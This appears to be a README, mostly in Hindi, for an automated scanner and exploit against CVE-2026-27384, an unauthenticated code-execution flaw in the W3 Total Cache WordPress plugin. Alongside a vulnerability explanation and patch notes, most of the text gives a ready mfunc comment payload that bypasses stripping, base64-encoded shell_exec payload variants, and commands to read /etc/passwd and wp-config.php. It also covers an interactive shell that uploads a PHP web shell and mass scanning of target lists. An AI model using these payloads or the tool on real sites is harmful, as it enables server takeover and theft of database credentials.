
CVE-2026-27384 के लिए स्वचालित स्कैनर और शोषण, W3 Total Cache में mfunc/eval() इंजेक्शन के माध्यम से एक अप्रमाणित RCE। इसमें स्वचालित पहचान, 48 पेलोड वेरिएंट, इंटरैक्टिव शेल और बैच स्कैनिंग शामिल है।
प्लगइन: W3 Total Cache प्लगइन स्लग:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS स्कोर: 9.8 (गंभीर) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: अप्रमाणित मनमाना कोड निष्पादन (eval()के माध्यम से कोड इंजेक्शन) प्रभावित संस्करण: <= 2.9.1 पैच किया गया संस्करण: 2.9.2 प्रकाशन तिथि: 24 फरवरी 2026 शोधकर्ता: CODE WHITE GmbH
W3 Total Cache प्लगइन की Dynamic Fragment Caching सुविधा (mfunc/mclude प्रणाली),
HTML टिप्पणियों में एम्बेडेड PHP कोड को eval() के साथ निष्पादित करती है।
इस सुविधा की रक्षा करने वाले टोकन को, कई कोड त्रुटियों के
एक साथ आने से बायपास किया जा सकता है।
W3TC_DYNAMIC_SECURITYपरिणाम: प्रमाणीकरण की आवश्यकता के बिना, केवल एक WordPress टिप्पणी सबमिट करके सर्वर पर मनमाना PHP कोड निष्पादित किया जा सकता है।
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| प्रकार | Code Injection → RCE (CWE-94) |
| प्रभावित संस्करण | <= 2.9.1 |
| पैच किया गया संस्करण | 2.9.2 |
| प्रमाणीकरण | आवश्यक नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक नहीं |
| पूर्व शर्त | W3TC_DYNAMIC_SECURITY में regex मेटाकैरेक्टर होना चाहिए |
W3TC की Dynamic Fragment Caching सुविधा, डेवलपर्स को पेज HTML में विशेष टिप्पणी टैग के माध्यम से PHP कोड एम्बेड करने की अनुमति देती है:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC कैश से पेज प्रस्तुत करते समय इन टैग को संसाधित करता है:
एम्बेडेड PHP को eval() के साथ निष्पादित किया जाता है, इसका आउटपुट टिप्पणी ब्लॉक के स्थान पर लिखा जाता है।
preg_quote() की कमी (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY सीधे regex में जोड़ा गया
// preg_quote() नहीं है → टोकन एक regex पैटर्न की तरह व्यवहार करता है
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
यदि टोकन '.' है तो regex <!--\s*mfunc\s*.(.*)--> हो जाता है →
कोई भी एक वर्ण टोकन के स्थान पर काम करता है।
\s* बनाम \s+ असंगतता| फ़ंक्शन | Pattern | व्यवहार |
|---|---|---|
_parse_dynamic() — चलाता है | mfunc\s*TOKEN | 0 रिक्ति स्वीकार ✅ |
strip_dynamic_fragment_tags_from_string() — साफ करता है | mfunc\s+TOKEN | कम से कम 1 रिक्ति अनिवार्य ❌ |
हमलावर पेलोड: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc और टोकन के बीच कोई रिक्ति नहीं
strip फ़ंक्शन: \s+ → मेल नहीं खाता → पेलोड बना रहता है
execution regex: \s* → मेल खाता है → eval() निष्पादित होता है
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ केवल defined() जाँच — empty() या मेटाकैरेक्टर जाँच नहीं
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex मेटाकैरेक्टर — कोई भी वर्ण)
│
▼
हमलावर टिप्पणी सबमिट करता है:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
पैटर्न: mfunc\s+[^\s]+ → \s+ अनिवार्य, कोई रिक्ति नहीं → बायपास ✅
│
▼
टिप्पणी डेटाबेस में सहेजी जाती है, पेज कैश किया जाता है
│
▼
दूसरा HTTP अनुरोध → W3TC कैश से प्रस्तुत करता है
_has_dynamic() → mfunc\s*. → 'A' मेल खाता है → true लौटाता है
│
▼
_parse_dynamic() → preg_replace_callback
पैटर्न: mfunc\s*. → 'A' मेल खाता है
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ अप्रमाणित RCE ✓
प्रमाणीकरण के बिना सर्वर पर वेब सर्वर अधिकारों के साथ मनमाना PHP कोड निष्पादित किया जा सकता है:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mod | विवरण |
|---|---|
auto | साइट स्कैन करें → टिप्पणी पृष्ठ ढूंढें → एक्सप्लॉइट करें (डिफ़ॉल्ट) |
exploit | सीधा एक्सप्लॉइट — पोस्ट URL के साथ |
shell | इंटरैक्टिव शेल |
detect | केवल W3TC का पता लगाना |
python w3tc_rce.py https://hedef.com
स्कैनर निम्नलिखित करता है:
# id कमांड
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd पढ़ें
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php पढ़ें
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# पोस्ट ID मैन्युअल
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
शेल खुलने पर स्वचालित रूप से whoami, hostname, pwd, uname -a निष्पादित होते हैं:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
कमांड: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC स्थापित है!
संस्करण : 2.9.1
Cache : True
[!] संस्करण 2.9.1 भेद्य है (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| पैरामीटर | लघु | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
url | — | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--mode | — | कार्य मोड | auto |
--cmd | — | निष्पादित किया जाने वाला कमांड | id |
--post-url | — | टिप्पणी वाले पृष्ठ का URL | — |
--post-id | — | WordPress पोस्ट ID | — |
--max-pages | — | स्पाइडर अधिकतम पृष्ठ | 50 |
--threads | -t | थ्रेड संख्या | 10 |
--output | -o | आउटपुट फ़ाइल | w3tc_results.txt |
--proxy | — | प्रॉक्सी URL | — |
--no-color | — | रंगहीन आउटपुट | False |
--verbose | -v | विस्तृत आउटपुट | False |
मानक टैग (strip द्वारा पकड़ा जाता है):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
रिक्ति है → \s+ मेल खाता है → strip हटा देता है
बाईपास टैग (strip को बायपास करता है, eval() निष्पादित होता है):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
कोई रिक्ति नहीं → \s+ मेल नहीं खाता → strip को बायपास करता है
\s* मेल खाता है → eval() निष्पादित होता है
PHP कोड HTML एन्कोडिंग समस्याओं से बचने के लिए base64 एन्कोड किया जाता है:
# कमांड: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| समूह | फ़ंक्शन | Bypass Char | Encoding |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | सभी फ़ंक्शन | A, B, X, 1 | कच्चा |
1. W3TC का पता लगाना
└─ readme.txt, header, body, प्लगइन निर्देशिका
2. टिप्पणी प्रणाली का पता लगाना
└─ HTML फ़ॉर्म, REST API, post ID
3. पेलोड इंजेक्शन (48 वेरिएंट)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. कैश ट्रिगर करना
├─ पहला अनुरोध → cache miss → पृष्ठ रेंडर → कैश हो जाता है
└─ दूसरा अनुरोध → cache hit → _parse_dynamic() → eval()
5. आउटपुट निकालना
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] लक्ष्य: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] टिप्पणी पृष्ठ: https://hedef.com/?p=1 (post_id=1)
[1] W3TC का पता लगाना...
[+] W3TC मिला! संस्करण: 2.9.1
[2] टिप्पणी प्रणाली का पता लगाना...
[+] Post ID: 1 | Form: True | REST: True
[3] पेलोड इंजेक्शन (id)...
[i] 48 पेलोड वेरिएंट तैयार
[4] कैश ट्रिगर किया जा रहा है...
[★] RCE सफल!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
कमांड : id
आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] परिणाम सहेजे गए → w3tc_results.txt
[?] शेल खोलें? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 भेद्यताएँ मिलीं!
[+] परिणाम सहेजे गए → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # मुख्य स्कैनर
├── requirements.txt # निर्भरताएँ
└── README.md # यह फ़ाइल
| उपाय | विवरण |
|---|---|
| प्लगइन अपडेट | W3 Total Cache को संस्करण 2.9.2+ में अपग्रेड करें |
| mfunc अक्षम करना | यदि W3TC_DYNAMIC_SECURITY परिभाषित नहीं है तो सुविधा काम नहीं करती |
| मजबूत टोकन | टोकन में केवल अल्फ़ान्यूमेरिक वर्ण होने चाहिए ([a-zA-Z0-9_]+) |
सुरक्षित टोकन उदाहरण (wp-config.php):
// ❌ खतरनाक — regex मेटाकैरेक्टर
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ सुरक्षित — अल्फ़ान्यूमेरिक
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
2.9.2 पैच (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote जोड़ा गया
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (कम से कम 1 रिक्ति)
...
);
यह उपकरण और PoC केवल अधिकृत प्रणालियों पर, शैक्षिक उद्देश्यों के लिए और पैठ परीक्षण के दायरे में उपयोग हेतु तैयार किया गया है। अनधिकृत प्रणालियों पर इसका उपयोग तुर्की दंड संहिता की धारा 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध है। डेवलपर, उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।
MIT लाइसेंस — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।